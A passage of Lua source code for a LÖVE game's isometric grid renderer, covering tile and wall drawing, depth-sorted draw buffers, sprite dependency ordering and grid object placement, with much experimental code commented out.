love.graphics.printf("Width 400",0,20,600,"center") love.graphics.printf("Height\n200",520,120,620,"left") love.graphics.printf("Angle\n63.435°",0,120,260,"right") ooijgrierg:getImageData():encode("isometrictile.png") heart.pop() love.graphics.setCanvas() --]] function grid.mousepressed(button) grid.tilePressedX = math.round(grid.mouse.x) grid.tilePressedY = math.round(grid.mouse.y) end local function compareKey(a,b,key) return a[key] < b[key] end local function compareBufferZlevel(a,b) return compareKey(a,b,"bufferZlevel") end local function coverPoly(inTable) local x,y,w,h = inTable.x , inTable.y , inTable.w , inTable.h local t1, t2 = translateToScreen(x+w+0.5,y+h+0.5) local t3, t4 = translateToScreen(x-0.5,y+h+0.5) local t5, t6 = translateToScreen(x-0.5,y+h+0.5,4) local t7, t8 = translateToScreen(x-0.5,y-0.5,4) local t9, t10 = translateToScreen(x+w+0.5,y-0.5,4) local t11, t12 = translateToScreen(x+w+0.5,y-0.5) love.graphics.polygon("fill",t1,t2,t3,t4,t5,t6,t7,t8,t9,t10,t11,t12) local centerx, centery = translateToScreen(x+w+0.5,y+h+0.5,4) love.graphics.setColor(0,0,0) love.graphics.line(centerx, centery , translateToScreen(x+w+0.5,y-0.5,4)) love.graphics.line(centerx, centery , translateToScreen(x-0.5,y+h+0.5,4)) love.graphics.line(centerx, centery , translateToScreen(x+w+0.5,y+h+0.5,0)) love.graphics.polygon("line",t1,t2,t3,t4,t5,t6,t7,t8,t9,t10,t11,t12) end function grid.mouseupdate() grid.mouse.x , grid.mouse.y = translateToIso(mouse.x,mouse.y) end function grid.update() if false then for x = -grid.size/2 + 0.5 , grid.size/2-0.5 do grid.block[x] = {} for y = -grid.size/2 + 0.5 , grid.size/2-0.5 do grid.block[x][y] = 0 end end end --love.graphics.print( math.round(grid.mouse.x).."\n"..math.round(grid.mouse.y) ) --love.graphics.printf("mouse cordinates\n"..grid.mouse.x.."\n"..grid.mouse.y,0,0,1920,"right") -- Grid transformation heart.push() --love.graphics.translate(viewport.width/2,viewport.height/2) --love.graphics.scale(2,1) --love.graphics.rotate(math.pi/4) --Test outline --love.graphics.setColor(0,0,0) --love.graphics.circle("line",0,0,(grid.blockSize*grid.size*0.5)*math.sqrt(2)) heart.pop() --[[ for x = -grid.size/2 + 0.5 , grid.size/2-0.5 do for y = -grid.size/2 + 0.5 , grid.size/2-0.5 do --if math.abs(x) + math.abs(y) < grid.outline.width and y + x < grid.outline.height and y + x > -grid.outline.height or math.abs(x) + math.abs(y) < grid.outline.height and y - x < grid.outline.width and y - x > -grid.outline.width then local point1 , point2 = translateToScreen(x+0.5,y+0.5) local point3 , point4 = translateToScreen(x+0.5,y-0.5) local point5 , point6 = translateToScreen(x-0.5,y-0.5) local point7 , point8 = translateToScreen(x-0.5,y+0.5) --love.graphics.polygon("line",point1,point2,point3,point4,point5,point6,point7,point8) --end end end --]] --Outline Square if false then love.graphics.setColor(0,0,0) love.graphics.rectangle("line", (1920-grid.outline.width*grid.blockSizeWidth)/2, (1080-grid.outline.height*grid.blockSizeWidth*0.5)/2, grid.outline.width*grid.blockSizeWidth, grid.outline.height*grid.blockSizeWidth*0.5) end --[[Simplest X then Y drawing local color = 0 for x = -grid.size/2 + 0.5 , grid.size/2-0.5 do for y = -grid.size/2 + 0.5 , grid.size/2-0.5 do --if math.abs(x) + math.abs(y) < grid.outline.width and y + x < grid.outline.height and y + x > -grid.outline.height or math.abs(x) + math.abs(y) < grid.outline.height and y - x < grid.outline.width and y - x > -grid.outline.width then love.graphics.setColor(heart.hsv(240/529*color,1,1)) local point1 , point2 = translateToScreen(x+0.5,y+0.5) local point3 , point4 = translateToScreen(x+0.5,y-0.5) local point5 , point6 = translateToScreen(x-0.5,y-0.5) local point7 , point8 = translateToScreen(x-0.5,y+0.5) love.graphics.polygon("line",point1,point2,point3,point4,point5,point6,point7,point8) --end color = color+1 end end printo(color) --]] --[[ From y on screen top to bottom grid 23x23 local color = 0 local yOnGrid = 1 local gridDirection = 1 while yOnGrid > 0 do if yOnGrid == 23 then gridDirection = -1 --break end for i = 1, yOnGrid do color = color +1 love.graphics.setColor(heart.hsv(240/529*color,1,1)) local x,y local xOnGrid = (i-yOnGrid/2)-0.5 if gridDirection == 1 then y = yOnGrid/2-11.5 x = yOnGrid/2-11.5 else y = -yOnGrid/2+11.5 x = -yOnGrid/2+11.5 end local point1 , point2 = translateToScreen(y+xOnGrid+0.5,x-xOnGrid+0.5) local point3 , point4 = translateToScreen(y+xOnGrid-0.5,x-xOnGrid+0.5) local point5 , point6 = translateToScreen(y+xOnGrid-0.5,x-xOnGrid-0.5) local point7 , point8 = translateToScreen(y+xOnGrid+0.5,x-xOnGrid-0.5) love.graphics.polygon("line",point1,point2,point3,point4,point5,point6,point7,point8) end yOnGrid=yOnGrid+gridDirection end printo(color) --]] --[[ Render x and y alternating if true then local color = 0 local ink = grid.size local direction = true while ink > 0 do if direction then local y = (grid.size+1)/2-ink for x = y,math.floor(grid.size/2) do color = drawAndInk(x,y,color) end else local x = math.floor(grid.size/2)-ink for y = (grid.size+1)/2-ink,math.floor(grid.size/2) do color = drawAndInk(x,y,color) end end if direction then ink = ink-1 direction = false else direction = true end end end --printo(color) --]] -- Select tile code ---[[ if true then love.graphics.setColor(255,255,255) drawTileWraped(grid.tilesq, math.round(grid.mouse.x),math.round(grid.mouse.y),0) if math.abs(grid.mouse.y-math.floor(grid.mouse.y)-0.5) > math.abs(grid.mouse.x-math.floor(grid.mouse.x)-0.5) then drawWallWraped(grid.wallsq, math.floor(grid.mouse.x)+0.5,math.round(grid.mouse.y),0,-1) else drawWallWraped(grid.wallsq, math.round(grid.mouse.x),math.floor(grid.mouse.y)+0.5,0,1) end end --drawTileWraped(grid.tilesq, 3,0,0,math.pi*2,1) --[[ drawWallWraped(grid.wallsq, 3,-0.5,0,1,0,1) --drawTileWraped(grid.tilesq, 1,1) --drawTileWraped(grid.tilesq, 2,1) --drawTileWraped(grid.tilesq, 3,1) --drawTileWraped(grid.tilesq, 1,2) --drawTileWraped(grid.tilesq, 2,2) --drawTileWraped(grid.tilesq, 3,2) --drawTileWraped(grid.tilesq, 1,3) --drawTileWraped(grid.tilesq, 2,3) --drawTileWraped(grid.tilesq, 3,3) drawWallWraped(grid.wallsq, 3.5,0,0,-1) drawWallWraped(grid.wallsq, 3.5,1,0,-1) drawWallWraped(grid.wallsq, 3.5,2,0,-1) drawWallWraped(grid.wallsq, 3.5,3,0,-1) drawWallWraped(grid.wallsq, 0, 3.5,0,1) drawWallWraped(grid.wallsq, 1, 3.5,0,1) drawWallWraped(grid.wallsq, 3, 3.5,0,1) --drawTileWraped(grid.tilesq, 2) drawWallWraped(grid.wallsq, 2,-0.5) --drawTileWraped(grid.tilesq, 1) drawWallWraped(grid.wallsq, 1,-0.5) --drawTileWraped(grid.tilesq, 0) drawWallWraped(grid.wallsq,0,-0.5) drawWallWraped(grid.wallsq,-0.5,0,0,-1) drawWallWraped(grid.wallsq, -0.5,1,0,-1) --drawTileWraped(grid.tilesq, 0,1) drawWallWraped(grid.wallsq, -0.5,2,0,-1) --drawTileWraped(grid.tilesq, 0,2) drawWallWraped(grid.wallsq, -0.5,3,0,-1) --drawTileWraped(grid.tilesq, 0,3) --drawWallWraped(grid.wallsq, 1+2, 3.6,0,1) --drawWallWraped(grid.wallsq, 3.6, 1+2,0,-1) --drawTileWraped(grid.tilesq,4,2,0) --drawTileWraped(grid.tilesq,3,2,0) --drawWallWraped(grid.wallsq, 2.5, 3.5,0,-1,0,1) --drawTileWraped(grid.tilesq,2,4,0) --drawTileWraped(grid.tilesq,3,3,0) --drawTileDirect(tile.image, 2,0,0,0,1) --drawWallDirect(wall.image, 2,-0.5,0,0,1,1) --]] -- HACK for i = 1, #tilecolworighreiogj do heart.sethsv((i-1)*(300/#tilecolworighreiogj),1,1,1) drawFlatTile(tilecolworighreiogj[i].x, tilecolworighreiogj[i].y) end -- Render from tile code if true then local color = 0 for x = 1 , tile.width * 0.2 do for y = 1 , tile.height * 0.2 do color = drawAndInk(x,y,color) if tile[x][y].entityWallRight ~= 0 then drawWallWraped(grid.wallsq,x+0.5,y,0,-1) end if tile[x][y].entityWallLeft ~= 0 then drawWallWraped(grid.wallsq,x,y+0.5,0,1) end end end end -- Render stuff ---[[ if true then table.sort(grid.bufferDraw,compareBufferZlevel) local i = 1 while i <= #grid.bufferDraw do --while i <= 1+math.wrap(math.floor(_Time*2),#grid.bufferDraw) do -- Show render order. love.graphics.setColor(255,255,255,180) local buffer = grid.bufferDraw[i] local screenX , screenY = translateToScreen(buffer.x,buffer.y,buffer.z) if buffer.tileType == "wrappedWall" then love.graphics.draw(buffer.image, screenX, screenY, 0, buffer.s*buffer.m, buffer.s, buffer.image:getWidth()*0.5, buffer.image:getHeight(), 0, 0.5) elseif buffer.tileType == "wrappedTile" then heart.push() love.graphics.translate(screenX,screenY) love.graphics.scale(2,1) love.graphics.draw(buffer.image, 0, 0, buffer.r+math.pi/4, buffer.s, buffer.s, buffer.image:getWidth()*0.5, buffer.image:getHeight()*0.5) heart.pop() end i = i+1 end end grid.bufferDraw = {} --]] --[[ local wallThickness = 0.2 local pos = {} pos[1] = {-3,2} pos[2] = {-2,0} pos[3] = {1,-2} pos[4] = {3,-4} local posNorm = {} posNorm[1] = {4,4.5} posNorm[2] = {5.5,3} local wallHeight = 3.75 --]] --[[ -- Proper corner outside love.graphics.setColor(108,52,0) drawFlatWall(pos[1][1]+wallThickness/4 , pos[1][2]+0.5+wallThickness/2 , 1+wallThickness/2,-1,wallHeight) -- left love.graphics.setColor(198,142,90) drawFlatWall(pos[1][1]+0.5+wallThickness/2 , pos[1][2]+wallThickness/4 , 1+wallThickness/2,1,wallHeight) -- right love.graphics.setColor(158,102,50) drawFlatTile(pos[1][1] , pos[1][2]+0.5 , 1 , wallThickness,wallHeight,"dl") -- left drawFlatTile(pos[1][1]+0.5 , pos[1][2] , wallThickness,1,wallHeight,"dr") -- right -- Proper corner inside love.graphics.setColor(108,52,0) drawFlatWall(pos[2][1]+wallThickness/4 , pos[2][2]-0.5+wallThickness/2,1-wallThickness/2,-1,wallHeight) -- right drawFlatWall(pos[2][1]-0.5 , pos[2][2]+0.5,wallThickness,-1,wallHeight) -- left love.graphics.setColor(198,142,90) drawFlatWall(pos[2][1]-0.5+wallThickness/2 , pos[2][2]+wallThickness/4,1-wallThickness/2,1,wallHeight) -- left drawFlatWall(pos[2][1]+0.5 , pos[2][2]-0.5,wallThickness,1,wallHeight) -- right love.graphics.setColor(158,102,50) drawFlatTile(pos[2][1] , pos[2][2]-0.5,1,wallThickness,wallHeight,"ul") -- right drawFlatTile(pos[2][1]-0.5 , pos[2][2],wallThickness,1,wallHeight,"ur") -- left -- Proper corner right love.graphics.setColor(108,52,0) drawFlatWall(pos[3][1]-wallThickness/4 , pos[3][2]-0.5+wallThickness/2,1-wallThickness/2,-1,wallHeight) -- Higher drawFlatWall(pos[3][1]+0.5 , pos[3][2]+0.5,wallThickness,-1,wallHeight) -- Lower love.graphics.setColor(198,142,90) drawFlatWall(pos[3][1]+0.5+wallThickness/2 , pos[3][2]-wallThickness/4,1+wallThickness/2,1,wallHeight) -- Lower love.graphics.setColor(158,102,50) drawFlatTile(pos[3][1] , pos[3][2]-0.5,1,wallThickness,wallHeight,"ru") -- Higher drawFlatTile(pos[3][1]+0.5 , pos[3][2],wallThickness,1,wallHeight,"rd") -- Lower -- Proper corner left love.graphics.setColor(198,142,90) drawFlatWall(pos[4][1]-0.5+wallThickness/2 , pos[4][2]-wallThickness/4,1-wallThickness/2,1,wallHeight) -- Higher drawFlatWall(pos[4][1]+0.5 , pos[4][2]+0.5,wallThickness,1,wallHeight) -- Lower love.graphics.setColor(108,52,0) drawFlatWall(pos[4][1]-wallThickness/4 , pos[4][2]+0.5+wallThickness/2,1+wallThickness/2,-1,wallHeight) -- Lower love.graphics.setColor(158,102,50) drawFlatTile(pos[4][1] , pos[4][2]+0.5,1,wallThickness,wallHeight,"ld") -- Lower drawFlatTile(pos[4][1]-0.5 , pos[4][2],wallThickness,1,wallHeight,"lu") -- Higher --Normal left wall love.graphics.setColor(108,52,0) drawFlatWall(posNorm[1][1],posNorm[1][2]+wallThickness/2,1,-1,wallHeight) -- left love.graphics.setColor(198,142,90) drawFlatWall(posNorm[1][1]+0.5,posNorm[1][2],wallThickness,1,wallHeight) -- left love.graphics.setColor(158,102,50) drawFlatTile(posNorm[1][1],posNorm[1][2],1,wallThickness,wallHeight) -- left --Normal right wall love.graphics.setColor(108,52,0) drawFlatWall(posNorm[2][1],posNorm[2][2]+0.5,wallThickness,-1,wallHeight) -- right love.graphics.setColor(198,142,90) drawFlatWall(posNorm[2][1]+wallThickness/2,posNorm[2][2],1,1,wallHeight) -- right love.graphics.setColor(158,102,50) drawFlatTile(posNorm[2][1],posNorm[2][2],wallThickness,1,wallHeight) -- right --]] --[[ --Polygon creation from line if false then local line = { 0,0.5,"l", 0.5,1,"r", 0.5,2,"r", 0.5,3,"r", } love.graphics.setColor(0,0,0) for i = 1, #line, 3 do local x,y = translateToScreen(line[i],line[i+1]) love.graphics.circle("fill",x,y,20) local x1a,y1a,x2a,y2a , x1b,y1b,x2b,y2b if line[i+2] == "r" then x1a,y1a = translateToScreen(line[i]-0.1,line[i+1]-0.5) x2a,y2a = translateToScreen(line[i]-0.1,line[i+1]+0.5) x1b,y1b = translateToScreen(line[i]+0.1,line[i+1]-0.5) x2b,y2b = translateToScreen(line[i]+0.1,line[i+1]+0.5) elseif line[i+2] == "l" then x1a,y1a = translateToScreen(line[i]-0.5,line[i+1]-0.1) x2a,y2a = translateToScreen(line[i]+0.5,line[i+1]-0.1) x1b,y1b = translateToScreen(line[i]-0.5,line[i+1]+0.1) x2b,y2b = translateToScreen(line[i]+0.5,line[i+1]+0.1) end love.graphics.line(x1a,y1a,x2a,y2a) love.graphics.line(x1b,y1b,x2b,y2b) end local posx,posy = viewport.width/2,viewport.height/2 heart.push("all") love.graphics.setLineWidth(grid.blockSize*0.2) love.graphics.setLineJoin("miter") love.graphics.translate(posx,posy) love.graphics.scale(2,1) love.graphics.rotate(math.pi/4) love.graphics.line(grid.blockSize*0.5,0,grid.blockSize*0.5*3,0,grid.blockSize*0.5*3,grid.blockSize*0.5*2) heart.pop() end --]] --[[ love.graphics.setColor(230,230,230) --love.graphics.rectangle("fill",0,0,1920,1080) love.graphics.setColor(0,0,0) local pos = {{},{},{},{},{}} pos[1][1],pos[1][2] = translateToScreen(0+0.25,0-0.25,10) pos[1][3],pos[1][4] = translateToScreen(0+0.25,0-0.25,-10) pos[2][1],pos[2][2] = translateToScreen(0+0.75,0-0.75,10) pos[2][3],pos[2][4] = translateToScreen(0+0.75,0-0.75,-10) pos[3][1],pos[3][2] = translateToScreen(0-0.25,0+0.25,10) pos[3][3],pos[3][4] = translateToScreen(0-0.25,0+0.25,-10) pos[4][1],pos[4][2] = translateToScreen(0-0.75,0+0.75,10) pos[4][3],pos[4][4] = translateToScreen(0-0.75,0+0.75,-10) pos[5][1],pos[5][2] = translateToScreen(0+1.25,0-1.25,10) pos[5][3],pos[5][4] = translateToScreen(0+1.25,0-1.25,-10) love.graphics.line(pos[1]) love.graphics.line(pos[2]) love.graphics.line(pos[3]) love.graphics.line(pos[4]) love.graphics.line(pos[5]) love.graphics.setColor(180,0,0) local pos = {{},{},{},{},{},{}} pos[1][1],pos[1][2] = translateToScreen(0,-1) pos[2][1],pos[2][2] = translateToScreen(1,-1) pos[3][1],pos[3][2] = translateToScreen(0,0) pos[4][1],pos[4][2] = translateToScreen(1,0) pos[5][1],pos[5][2] = translateToScreen(0,1) pos[6][1],pos[6][2] = translateToScreen(1,1) love.graphics.circle("fill",pos[1][1],pos[1][2],30) love.graphics.circle("fill",pos[2][1],pos[2][2],30) love.graphics.circle("fill",pos[3][1],pos[3][2],30) love.graphics.circle("fill",pos[4][1],pos[4][2],30) love.graphics.circle("fill",pos[5][1],pos[5][2],30) love.graphics.circle("fill",pos[6][1],pos[6][2],30) love.graphics.setColor(0,100,0) local pos = {{},{},{},{}} pos[1][1],pos[1][2] = translateToScreen(0.5,-0.5) pos[2][1],pos[2][2] = translateToScreen(1,-1) pos[3][1],pos[3][2] = translateToScreen(0.5,0.5) pos[4][1],pos[4][2] = translateToScreen(0,1) love.graphics.circle("fill",pos[1][1],pos[1][2],20) love.graphics.circle("fill",pos[2][1],pos[2][2],20) love.graphics.circle("fill",pos[3][1],pos[3][2],20) love.graphics.circle("fill",pos[4][1],pos[4][2],20) --]] --love.graphics.setColor(100,100,100) --isocircle(math.round(grid.mouse.x),math.round(grid.mouse.y)) --[[ if mouse.left then local thingTable = {} local dirX,dirY = 1,1 if grid.mouse.x < grid.tilePressedX then dirX = -1 end if grid.mouse.y < grid.tilePressedY then dirY = -1 end for x = grid.tilePressedX, math.round(grid.mouse.x), dirX do for y = grid.tilePressedY, math.round(grid.mouse.y), dirY do table.insert(thingTable,x) table.insert(thingTable,y) --isocircle(x,y) end end insertThing(thingTable) end --]] -- Sorting sprites. Note that I sort the sprites in the wrong direction then I go in the reverse of that table and render the sprites. (It shouldn't go in the wrong dirction) if true then local sortedTable = {} -- Test code mark inserts the sprites if mouse.beenReleased.left then local x,y = grid.tilePressedX,grid.tilePressedY local w,h = math.round(grid.mouse.x)-grid.tilePressedX , math.round(grid.mouse.y)-grid.tilePressedY --grid.mark(x,y,w,h) end -- Create dependecies. for i = 1, entity.count do -- Loop over the objects if entity[i] ~= nil then for x = entity[i].x, entity[i].x+entity[i].w do -- x axis for y = entity[i].y, entity[i].y+entity[i].h do -- y axis local t = tile[x][y].objectMark if t then if type(entity[i].dep) == "table" then -- Compare the elements returned by checkmarked with the elements in the table. -- Check if it's faster to reverse the j or g loop for j = 1, #t do for g = 1, #entity[i].dep do if entity[i].dep[g] == t[j] then goto foundInTable -- faster?? No variables initalized end end table.insert((entity[i].dep),t[j]) ::foundInTable:: end else entity[i].dep = t end end love.graphics.setColor(0,255,0) --isocircle(x,y) end end else print("entity["..i.."] == nil") end end -- entity[i].dep is either a table or nil depending on if it overlap something. -- Indexes in entity[i].dep table is where in entity[index] the dependencies lie. -- draw a polygon on the covered area, Don't draw outside of this. -- Should be replaced with spritebatch:add or something if true then for i = 1, #entity do grid.recursiveInsert(i,sortedTable) end for i = #sortedTable , 1 , -1 do local val = (sortedTable[i]/(#sortedTable)) -- Draw sprite heart.sethsv((#sortedTable-i)*(300/#sortedTable), 1-val+0.2, val+0.2) coverPoly(entity[sortedTable[i]],#sortedTable-i) entity[sortedTable[i]].recorded = nil end end end grid.blockSize = ui.slider(grid.blockSize , 1300,910,600,150,2,500 ) grid.blockSizeWidth = grid.blockSize*(math.sqrt(2)*2) end function grid.recursiveInsert(i,sortedTable) --printo(i,#entity) if entity[i] ~= nil and not entity[i].recorded then -- Am I sure this is a good solution to just skip if its nil? if entity[i].dep then for j = 1, #entity[i].dep do grid.recursiveInsert(entity[i].dep[j],sortedTable) --printv(i,"::",j) end end table.insert(sortedTable,i) --printv("Q"..i) entity[i].recorded = true end end function grid.mark(thing,x,y,w,h) -- 0 based: w,h assert(thing == "wallleft" or thing == "wallright" or thing == "object", "Invalid object being passed into grid.mark") w,h = w or 0, h or 0 assert(type(x) == "number", "x is not a number") assert(type(y) == "number", "y is not a number") assert(x > 1 and x <= tile.width-1, "x is not in range") assert(y > 1 and y <= tile.height-1, "y is not in range") assert(thing == "wallleft" and w==0 and h==0 or thing == "wallright" and w==0 and h==0 or thing == "object", "width or height parameter must be 0,0 for walls grid.mark") if w < 0 then x = x+w w = -w end if h < 0 then y = y+h h = -h end -- These asserts shouldn't stop the game when it's running. So they need to rewired to give warning instead. if thing == "object" then for i = x, x+w do for j = y, y+h do --print(i,j) assert(tile[i][j].entityIndex == 0,"Object already inserted here") if i < x+w then --print(i,j) assert(tile[i][j].entityWallLeft == 0,"Wall Left is blocking object") end if j < y+h then --print(i,j) assert(tile[i][j].entityWallRight == 0,"Wall Right is blocking object") end end end elseif thing == "wallleft" then assert(tile[x][y].entityWallLeft == 0 , "Wall already inserted here") if tile[x][y].entityIndex ~= 0 and tile[x][y+1].entityIndex == tile[x][y].entityIndex then assert( false ,"Object is blocking wall") end elseif thing == "wallright" then assert(tile[x][y].entityWallRight == 0 , "Wall already inserted here") if tile[x][y].entityIndex ~= 0 and tile[x+1][y].entityIndex == tile[x][y].entityIndex then assert( false ,"Object is blocking wall") end end local where = heart.lengthSparse(entity)+1 -- Gets the first available "hole" in entity array. if where ~= #entity+1 then -- Check if the data messes up in this case. #entity+1 does not do what I want on a sparse array. print("---Check Array----",where,#entity+1) end entity.count = math.max(entity.count,where) entity[where] = {x=x,y=y,w=w,h=h} -- Should maybe insert more info here? for i = x, x+w do for j = y, y+h do tile[i][j].entityIndex = where end end for i = 1, h+1 do for j = 1, 4 do table.insert(tile[x-j][y+i-j].objectMark , where) end end for i = 1, w+1 do for j = 1, 4 do table.insert(tile[x+i-j][y-j].objectMark , where) end end for j = 1, 4 do table.insert(tile[x-j][y-j].objectMark , where) end end for x = 1, 5 do for y = 1, 5 do grid.mark("object",x*4+10,y*4+10,2,2) end end grid.mark("object",6,6,2,0) --grid.mark("object",5,8,0,0) --for i = 1, #entity do -- print(entity[i].y) --end --[[ function insert2d(tableTo,x,y,thing) assert(type(tableTo) == "table","Trying to index on non table") if not tableTo[x] then tableTo[x] = {} end if not tableTo[x][y] then tableTo[x][y] = {} end table.insert(tableTo[x][y],thing) end --]] --[[ function grid.insertWall(x,y,dir) assert(type(x) == "number", "x is not a number") assert(type(y) == "number", "y is not a number") assert(x > 1 and x <= tile.width-1, "x is not in range") assert(y > 1 and y <= tile.height-1, "y is not in range") assert(dir == 1 or dir == -1, "dir must be 1 or -1") if dir == 1 then --drawWallWraped(grid.wallsq,x,y+0.5,0,1) grid.mark("wallleft",x,y,0,0) elseif dir == -1 then --drawWallWraped(grid.wallsq,x+0.5,y,0,-1) grid.mark("wallright",x,y,0,0) end end --]] --[[ refrigerator = love.graphics.newImage("Couchbw2.png") testImage = love.image.newImageData("Couchbw2.png") local count = 4 -- handle odd numbers local var = (1/0.001)/(count/2) part1 = love.image.newImageData(var,testImage:getHeight()) part2 = love.image.newImageData(var,testImage:getHeight()) part3 = love.image.newImageData(var,testImage:getHeight()) part4 = love.image.newImageData(var,testImage:getHeight()) part1:paste(testImage,0,0,testImage:getWidth()/2-var-var,0) part2:paste(testImage,0,0,testImage:getWidth()/2-var,0) part3:paste(testImage,0,0,testImage:getWidth()/2,0) part4:paste(testImage,0,0,testImage:getWidth()/2+var,0) someSofa1 = love.graphics.newImage(part1) someSofa2 = love.graphics.newImage(part2) someSofa3 = love.graphics.newImage(part3) someSofa4 = love.graphics.newImage(part4) function imageParse(filename) fileData = love.image.newImageData(filename) --Scale image to grid local scale = 0.001 -- grid.blockSizeWidth is very relevant to this. --Select area for object to rest on. local zTable = insertThing( 0,-1, 1,-1, 0,0, 1,0, 0,1, 1,1 ) -- #xTable is how many parts to split image into -- How to set an alignment end function insertThing(...) local inputTable if type(select(1,...)) == "table" then inputTable = select(1,...) else inputTable = {...} end local count = #inputTable assert(math.floor(count/2) == count/2 and count > 1 , "insertThing must have x and y cordinates") local tableScreenSplit = {} local tableScreenSplitIndex = {} for i = 1, count, 2 do local x,y = inputTable[i] , inputTable[i+1] if tableScreenSplit[x-y] then local wasMin = tableScreenSplit[x-y][2] local wasMax = tableScreenSplit[x-y][3] if x+y > wasMax then tableScreenSplit[x-y][3] = x+y -- Max value elseif x+y < wasMin then tableScreenSplit[x-y][2] = x+y -- Min value end else table.insert(tableScreenSplitIndex,x-y) tableScreenSplit[x-y] = {x-y,x+y,x+y} end love.graphics.setColor(0,0,0) isocircle(x,y,0,0.5) end love.graphics.setColor(100,0,0) -- Now I know i need to split this in 4 images local resultTable = {} for i = 1, #tableScreenSplitIndex do local k = tableScreenSplitIndex[i] local x = tableScreenSplit[k][1] local y = (tableScreenSplit[k][2] + tableScreenSplit[k][3])/2 love.graphics.setColor(heart.hsv(90/4*(i-1),1,1)) table.insert(resultTable, (y+x)/2 ) table.insert(resultTable, (y-x)/2 ) isocircle((y+x)/2,(y-x)/2,0,0.3) love.graphics.setColor(100,0,0) --isocircleRender(x,y,0,0.25) end return resultTable end --]] function renderTranslateToScreen(x,y) x = x*(grid.blockSizeWidth/2) y = y*(grid.blockSizeWidth/4) x,y = x+viewport.width/2,y+viewport.height/2 return x,y end function isocircle(x,y,z,s) s = s or 0.3 s = s * grid.blockSize local screenX , screenY = translateToScreen(x,y,z) love.graphics.circle("fill",screenX,screenY,s) end --[[ function isocircleRender(x,y,z,s) s = s or 0.3 s = s * grid.blockSize local screenX , screenY = renderTranslateToScreen(x,y) love.graphics.circle("fill",screenX,screenY,s) end --]] function drawWallWraped( image, x,y,z,m,r,s) assert(m == nil or m == 1 or m == -1 , "m ,Mirror value must be nil, 1 or -1") x,y,z,s,m = x or 0 , y or 0 , z or 0 , s or 1 , m or 1 s = s * (grid.blockSizeWidth/(image:getWidth()*2)) --[[-- rotation code www = math.pi*0.5 m = -m local length = math.sqrt(x*x+y*y) local angle = math.atan2(y,x) x = math.cos(angle+www)*length y = math.sin(angle+www)*length --]] local bufferZlevel = x+y local toInsertInTable = { bufferZlevel = bufferZlevel, image = image, x = x, y = y, z = z, m = m, r = r, s = s, tileType = "wrappedWall" } table.insert(grid.bufferDraw , toInsertInTable) end function drawTileWraped( image,x,y,z,r,s) -- Figure out rectangle shapes -- Mirror shapes -s ?? x,y,z,r,s = x or 0 , y or 0 , z or 0 , r or 0 , s or 1 s = s * (grid.blockSize/image:getWidth()) local bufferZlevel = x+y local toInsertInTable = { bufferZlevel = bufferZlevel, image = image, x = x, y = y, z = z, r = r, s = s, tileType = "wrappedTile" } table.insert(grid.bufferDraw , toInsertInTable) end --[[ grid.thingOrder = {} grid.thingDraw = {} local function checkTable(x,y,height) if grid.thingDraw[x] == nil then grid.thingDraw[x] = {} end if grid.thingDraw[x][y] == nil then grid.thingDraw[x][y] = {height} end end function insertThing(x,y,w,h) w,h=w or 1,h or 1 for ix = 0,w-1 do for iy = 0,h-1 do checkTable(x+ix,y+iy) end end end function insertThingWall(x,y) if math.floor(x) == x and math.floor(y)+0.5 == y then for i = 1, 4 do checkTable(x-i+1,y-i+0.5 , i) checkTable(x-i,y-i+0.5 , i) end elseif math.floor(y) == y and math.floor(x)+0.5 == x then for i = 1, 4 do checkTable(x-i+0.5,y-i , i) checkTable(x-i+0.5,y-i+1 , i) end else assert(false, "invalid Wall position") end end function drawThing() for x , v in pairs(grid.thingDraw) do for y , t in pairs(v) do local screenX, screenY = translateToScreen(x,y) if t[1] == nil then love.graphics.setColor(0,0,0) else love.graphics.setColor(t[1]*50,0,0) end love.graphics.circle("fill",screenX,screenY,20) --printo("apples") end end grid.thingOrder = {} grid.thingDraw = {} end --]] function drawAndInk(x,y,color) --if math.abs(x) + math.abs(y) < grid.outline.width and y + x < grid.outline.height and y + x > -grid.outline.height or math.abs(x) + math.abs(y) < grid.outline.height and y - x < grid.outline.width and y - x > -grid.outline.width then color = color +1 love.graphics.setColor(heart.hsv(240/221*color,1,1)) drawPolygonTile(x,y) --end return color end function drawPolygonTile(x,y,mode) mode = mode or "line" local point1 , point2 = translateToScreen(x+0.5,y+0.5) local point3 , point4 = translateToScreen(x+0.5,y-0.5) local point5 , point6 = translateToScreen(x-0.5,y-0.5) local point7 , point8 = translateToScreen(x-0.5,y+0.5) love.graphics.polygon(mode,point1,point2,point3,point4,point5,point6,point7,point8) end --[[ grid.drawOrder = {} grid.drawTable = {} function insertWall(x,y,z,dir) local toInsert = {x=x, y=y, z=z, dir=dir} if grid.drawOrder[x] == nil then grid.drawOrder[x] = {} if grid.drawOrder[x][y] == nil then grid.drawOrder[x][y] = {} end end if grid.drawOrder[x+0.5] and grid.drawOrder[x+0.5][y-0.5] then toInsert.egde = "left" --Loop over index??? grid.drawOrder[x+0.5][y-0.5][1].egde = "right" end table.insert(grid.drawTable, {x,y}) table.insert(grid.drawOrder[x][y],toInsert) end function drawWall() for i = 1, #grid.drawTable do love.graphics.setColor(0,0,0) x,y = grid.drawTable[i][1],grid.drawTable[i][2] printo(x,y) local wall = grid.drawOrder[x][y][1] wall.x , wall.y = translateToScreen(wall.x,wall.y,wall.z) love.graphics.circle("fill",wall.x,wall.y,20) love.graphics.setColor(255,255,255) if wall.egde == "right" then love.graphics.circle("fill",wall.x-10,wall.y,5) elseif wall.egde == "left" then love.graphics.circle("fill",wall.x+10,wall.y,5) end printo(wall.egde) end grid.drawOrder = {} grid.drawTable = {} end --]] function drawFlatTile(x,y,w,h,z,flag) -- Do this thing x,y,w,h,z = x or 0,y or 0,w or 1,h or 1, z or 0 local point = {} if flag == "dl" then point[1] , point[2] = translateToScreen(x+w*0.5-h*0.5 , y-h*0.5 , z) point[3] , point[4] = translateToScreen(x+w*0.5+h*0.5 , y+h*0.5 , z) point[5] , point[6] = translateToScreen(x-w*0.5 , y+h*0.5 , z) point[7] , point[8] = translateToScreen(x-w*0.5 , y-h*0.5 , z) elseif flag == "dr" then point[1] , point[2] = translateToScreen(x+w*0.5 , y+h*0.5+w*0.5 , z) point[3] , point[4] = translateToScreen(x+w*0.5 , y-h*0.5 , z) point[5] , point[6] = translateToScreen(x-w*0.5 , y-h*0.5 , z) point[7] , point[8] = translateToScreen(x-w*0.5 , y+h*0.5-w*0.5 , z) elseif flag == "ul" then point[1] , point[2] = translateToScreen(x+w*0.5,y+h*0.5,z) point[3] , point[4] = translateToScreen(x+w*0.5,y-h*0.5,z) point[5] , point[6] = translateToScreen(x-w*0.5-h*0.5,y-h*0.5,z) point[7] , point[8] = 